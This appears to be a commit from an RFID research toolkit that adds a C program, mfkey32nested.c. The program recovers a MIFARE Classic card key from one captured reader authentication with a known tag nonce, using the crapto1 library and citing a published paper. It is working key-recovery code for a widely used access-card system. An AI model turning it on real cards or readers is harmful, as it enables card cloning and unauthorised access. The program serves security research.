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Add : recovering partial nested authentication with known nT

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Philippe Teuwen 2024-09-03 23:37:33 +02:00
commit 28076af96d
5 changed files with 108 additions and 2 deletions
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tools/mfc/card_reader/mfkey32nested.c Normal file
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// Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
#include <inttypes.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include "crapto1/crapto1.h"
#include "util_posix.h"
int main(int argc, char *argv[]) {
struct Crypto1State *s, *t;
uint64_t key; // recovered key
uint32_t uid; // serial number
uint32_t nt; // tag nonce
uint32_t nt_enc; // encrypted tag nonce
uint32_t nr_enc; // encrypted reader nonce
uint32_t ar; // reader response
uint32_t ar_enc; // encrypted reader response
uint32_t ks0; // keystream used to encrypt tag nonce
uint32_t ks2; // keystream used to encrypt reader response
printf("MIFARE Classic key recovery - known nT scenario\n");
printf("Recover key from one reader authentication answer only\n");
if (argc != 6) {
printf("syntax: %s <uid> <nt> <{nt}> <{nr}> <{ar}>\n\n", argv[0]);
return 1;
}
sscanf(argv[1], "%x", &uid);
sscanf(argv[2], "%x", &nt);
sscanf(argv[3], "%x", &nt_enc);
sscanf(argv[4], "%x", &nr_enc);
sscanf(argv[5], "%x", &ar_enc);
printf("Recovering key for:\n");
printf(" uid: %08x\n", uid);
printf(" nt: %08x\n", nt);
printf(" {nt}: %08x\n", nt_enc);
printf(" {nr}: %08x\n", nr_enc);
printf(" {ar}: %08x\n", ar_enc);
printf("\nLFSR successor of the tag challenge:\n");
ar = prng_successor(nt, 64);
printf(" ar: %08x\n", ar);
printf("\nKeystream used to generate {nt}:\n");
ks0 = nt_enc ^ nt;
printf(" ks0: %08x\n", ks0);
printf("\nKeystream used to generate {ar}:\n");
ks2 = ar_enc ^ ar;
printf(" ks2: %08x\n", ks2);
s = lfsr_recovery32(ks0, uid ^ nt);
for (t = s; t->odd | t->even; ++t) {
crypto1_word(t, nr_enc, 1);
if (ks2 == crypto1_word(t, 0, 0)) {
lfsr_rollback_word(t, 0, 0);
lfsr_rollback_word(t, nr_enc, 1);
lfsr_rollback_word(t, uid ^ nt, 0);
crypto1_get_lfsr(t, &key);
printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
break;
}
}
free(s);
return 0;
}